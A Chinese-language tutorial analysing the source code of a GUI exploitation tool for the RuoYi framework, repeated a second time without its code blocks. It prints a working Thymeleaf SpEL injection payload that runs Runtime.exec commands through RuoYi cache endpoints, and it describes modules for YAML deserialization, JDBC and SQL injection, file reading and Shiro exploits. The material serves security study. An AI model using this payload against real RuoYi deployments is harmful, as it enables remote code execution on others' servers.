若依一把梭哈工具源码分析
字数 1696 2025-08-22 12:23:24

若依一把梭哈工具源码分析与教学文档

1. 工具概述

若依一把梭哈工具是一个针对若依(RuoYi)框架的安全测试工具,集成了若依框架的多个历史漏洞利用模块。该工具采用JavaFX开发,提供了图形化界面,方便安全研究人员进行漏洞检测和利用。

2. 工具界面与功能模块

2.1 界面布局

工具界面主要分为三个核心模块:

  1. 基础配置模块

    • URL地址输入框
    • Cookie输入框
    • 配置确定按钮
  2. 漏洞利用分类模块

    • 包含若依框架的各种历史漏洞选项
  3. 利用参数配置模块

    • 针对特定漏洞的参数配置区域
    • 执行按钮
    • 结果显示区域

2.2 功能分类

工具主要功能包括:

  • 若依框架识别
  • 漏洞扫描
  • 特定漏洞利用
  • 结果展示

3. 核心源码分析

3.1 Config类分析

Config类作为全局配置类,存储了工具运行所需的各种配置参数和请求方法。

public class Config {
    // 静态配置变量
    public static String url;
    public static String cookie;
    public static Boolean isConnected = false;
    public static String snakeyamlUrl = "";
    public static TextArea resultText;
    public static String jobId;
    public static List<String> vulMode = new ArrayList();
    public static String uploadPath = "";
    public static File jarFile = null;
    
    // 若依API路径常量
    public static final String jobListPath = "/monitor/job/list";
    public static final String jobAddPath = "/monitor/job/add";
    // ...其他路径常量
    
    // 请求方法
    public static String get(String path) {
        return RequestUtil.get(url + path, cookie);
    }
    
    public static String post(String path, String param) {
        return RequestUtil.post(url + path, param, cookie);
    }
    // ...其他请求方法
}

3.2 MainController类分析

MainController类是工具的核心控制类,负责处理用户交互和漏洞利用流程。

配置功能实现

public void config() {
    this.configConn = false;
    ResultUtil.clear();
    Config.url = this.urlText.getText();
    Config.cookie = this.cookieText.getText();
    
    if (!Config.url.isEmpty() && !Config.cookie.isEmpty()) {
        String resp = RequestUtil.get(Config.url, Config.cookie);
        Pattern pattern = Pattern.compile("<p>(.*?)</p>");
        Matcher matcher = pattern.matcher(resp);
        
        if (matcher.find()) {
            List<String> jobList = JobUtil.getList();
            if (jobList.isEmpty()) {
                JobUtil.createJob();
                jobList = JobUtil.getList();
                this.configConn = true;
            }
            Config.jobId = (String)jobList.get(0);
            ResultUtil.success("配置信息成功,Cookie有效");
            this.configConn = true;
        } else {
            ResultUtil.success("配置信息成功,Cookie无效");
        }
    } else {
        ResultUtil.success("配置信息失败");
    }
}

漏洞扫描功能实现

public void conn() {
    ResultUtil.clear();
    Runnable runnable = () -> {
        this.vulText.appendText("正在扫描全部漏洞,请耐心等待~\r\n");
        if (this.configConn) {
            VulScan.scan();  // 全量扫描
        } else {
            ResultUtil.fail("网络异常或Cookie无效,只进行Shiro框架识别与key探测");
            VulScan.ShiroTest();  // 仅Shiro测试
        }
    };
    Thread workThrad = new Thread(runnable);
    workThrad.start();
}

3.3 漏洞利用实现示例(Thymeleaf模板注入)

public static boolean check(String cmd) {
    // 构造SPEL表达式
    String payload = "(${T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\")})";
    String encodedPayload = "";
    
    // URL编码
    char[] var3 = payload.toCharArray();
    for (char c : var3) {
        encodedPayload = encodedPayload + "%" + Integer.toHexString(c);
    }
    
    // 测试多个可能的注入点
    String url1 = "/monitor/cache/getNames?fragment=header(" + encodedPayload + ")";
    String url2 = "/monitor/cache/getKeys?fragment=header(" + encodedPayload + ")";
    // ...其他URL
    
    try {
        String post3 = Config.post(url1, "");
        if (post3.contains("getNames")) {
            return true;
        }
    } catch (Exception var11) {}
    // ...其他URL测试
    
    return false;
}

4. 工具使用教学

4.1 基本使用流程

  1. 配置目标信息

    • 在URL输入框中输入目标若依系统的地址
    • 在Cookie输入框中输入有效的会话Cookie
    • 点击"确定"按钮验证配置
  2. 漏洞扫描

    • 点击"扫描"按钮开始全量漏洞扫描
    • 如果配置无效,工具会自动降级为仅Shiro检测
  3. 特定漏洞利用

    • 在漏洞分类标签页中选择特定漏洞
    • 输入必要的利用参数
    • 点击执行按钮进行利用

4.2 关键功能详解

4.2.1 配置验证机制

工具通过以下方式验证配置有效性:

  1. 发送GET请求到目标URL
  2. 检查响应中是否包含<p>标签
  3. 如果验证通过,设置configConn为true

4.2.2 漏洞扫描流程

全量扫描调用VulScan.scan()方法,依次检测:

  1. Yaml反序列化漏洞
  2. JDBC注入漏洞
  3. 任意文件读取漏洞
  4. Thymeleaf模板注入漏洞
  5. SQL注入漏洞
  6. Shiro相关漏洞

4.2.3 请求处理机制

工具使用RequestUtil类统一处理HTTP请求,支持:

  • GET请求
  • POST请求
  • 文件上传
  • 特殊头部的请求

5. 漏洞利用技术分析

5.1 Thymeleaf模板注入

漏洞原理
若依框架在使用Thymeleaf模板引擎时,未对用户输入进行充分过滤,导致SPEL表达式注入。

利用方式

  1. 构造恶意的SPEL表达式
  2. 对表达式进行URL编码
  3. 尝试在多个已知的Thymeleaf端点注入

关键代码

String payload = "(${T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\")})";
String encodedPayload = "";
for (char c : payload.toCharArray()) {
    encodedPayload = encodedPayload + "%" + Integer.toHexString(c);
}

5.2 其他漏洞类型

工具还实现了以下漏洞的检测和利用:

  • YAML反序列化:通过snakeyaml库的漏洞实现RCE
  • JDBC注入:利用若依的JDBC连接功能实现注入
  • 文件读取:利用若依的文件处理功能读取系统文件
  • SQL注入:针对若依特定接口的SQL注入
  • Shiro漏洞:包括Shiro的rememberMe反序列化漏洞

6. 工具开发技巧

6.1 JavaFX界面开发

  1. FXML布局:使用FXML文件定义界面布局
  2. 控制器绑定:通过fx:controller属性绑定控制器类
  3. 事件处理:使用lambda表达式简化事件处理

示例:

<Button fx:id="submitBtn" mnemonicParsing="false" prefWidth="80.0" text="扫描">
    <HBox.margin>
        <Insets left="20.0"/>
    </HBox.margin>
</Button>

6.2 多线程处理

工具使用多线程处理耗时操作,避免界面卡顿:

Runnable runnable = () -> {
    // 扫描逻辑
};
Thread workThrad = new Thread(runnable);
workThrad.start();

6.3 模块化设计

工具采用模块化设计:

  1. 配置模块:Config类
  2. 请求模块:RequestUtil类
  3. 漏洞模块:各漏洞的Exp类
  4. 工具模块:各种Util类

7. 安全注意事项

  1. 合法使用:该工具仅用于授权测试,未经授权使用可能违法
  2. 风险提示:漏洞利用可能对目标系统造成破坏
  3. 防护建议:若依用户应及时更新框架,修复已知漏洞

8. 总结

若依一把梭哈工具是一个功能全面的若依框架安全测试工具,通过分析其源码可以学习到:

  1. JavaFX图形界面开发技巧
  2. 漏洞检测与利用的实现原理
  3. 模块化的代码组织方式
  4. 安全工具的开发思路

该工具对若依框架的各种历史漏洞进行了系统性的集成,是学习Web安全工具开发的优秀参考案例。

若依一把梭哈工具源码分析与教学文档 1. 工具概述 若依一把梭哈工具是一个针对若依(RuoYi)框架的安全测试工具,集成了若依框架的多个历史漏洞利用模块。该工具采用JavaFX开发,提供了图形化界面,方便安全研究人员进行漏洞检测和利用。 2. 工具界面与功能模块 2.1 界面布局 工具界面主要分为三个核心模块: 基础配置模块 : URL地址输入框 Cookie输入框 配置确定按钮 漏洞利用分类模块 : 包含若依框架的各种历史漏洞选项 利用参数配置模块 : 针对特定漏洞的参数配置区域 执行按钮 结果显示区域 2.2 功能分类 工具主要功能包括: 若依框架识别 漏洞扫描 特定漏洞利用 结果展示 3. 核心源码分析 3.1 Config类分析 Config 类作为全局配置类,存储了工具运行所需的各种配置参数和请求方法。 3.2 MainController类分析 MainController 类是工具的核心控制类,负责处理用户交互和漏洞利用流程。 配置功能实现 漏洞扫描功能实现 3.3 漏洞利用实现示例(Thymeleaf模板注入) 4. 工具使用教学 4.1 基本使用流程 配置目标信息 : 在URL输入框中输入目标若依系统的地址 在Cookie输入框中输入有效的会话Cookie 点击"确定"按钮验证配置 漏洞扫描 : 点击"扫描"按钮开始全量漏洞扫描 如果配置无效,工具会自动降级为仅Shiro检测 特定漏洞利用 : 在漏洞分类标签页中选择特定漏洞 输入必要的利用参数 点击执行按钮进行利用 4.2 关键功能详解 4.2.1 配置验证机制 工具通过以下方式验证配置有效性: 发送GET请求到目标URL 检查响应中是否包含 <p> 标签 如果验证通过,设置 configConn 为true 4.2.2 漏洞扫描流程 全量扫描调用 VulScan.scan() 方法,依次检测: Yaml反序列化漏洞 JDBC注入漏洞 任意文件读取漏洞 Thymeleaf模板注入漏洞 SQL注入漏洞 Shiro相关漏洞 4.2.3 请求处理机制 工具使用 RequestUtil 类统一处理HTTP请求,支持: GET请求 POST请求 文件上传 特殊头部的请求 5. 漏洞利用技术分析 5.1 Thymeleaf模板注入 漏洞原理 : 若依框架在使用Thymeleaf模板引擎时,未对用户输入进行充分过滤,导致SPEL表达式注入。 利用方式 : 构造恶意的SPEL表达式 对表达式进行URL编码 尝试在多个已知的Thymeleaf端点注入 关键代码 : 5.2 其他漏洞类型 工具还实现了以下漏洞的检测和利用: YAML反序列化 :通过 snakeyaml 库的漏洞实现RCE JDBC注入 :利用若依的JDBC连接功能实现注入 文件读取 :利用若依的文件处理功能读取系统文件 SQL注入 :针对若依特定接口的SQL注入 Shiro漏洞 :包括Shiro的rememberMe反序列化漏洞 6. 工具开发技巧 6.1 JavaFX界面开发 FXML布局 :使用FXML文件定义界面布局 控制器绑定 :通过 fx:controller 属性绑定控制器类 事件处理 :使用lambda表达式简化事件处理 示例: 6.2 多线程处理 工具使用多线程处理耗时操作,避免界面卡顿: 6.3 模块化设计 工具采用模块化设计: 配置模块 :Config类 请求模块 :RequestUtil类 漏洞模块 :各漏洞的Exp类 工具模块 :各种Util类 7. 安全注意事项 合法使用 :该工具仅用于授权测试,未经授权使用可能违法 风险提示 :漏洞利用可能对目标系统造成破坏 防护建议 :若依用户应及时更新框架,修复已知漏洞 8. 总结 若依一把梭哈工具是一个功能全面的若依框架安全测试工具,通过分析其源码可以学习到: JavaFX图形界面开发技巧 漏洞检测与利用的实现原理 模块化的代码组织方式 安全工具的开发思路 该工具对若依框架的各种历史漏洞进行了系统性的集成,是学习Web安全工具开发的优秀参考案例。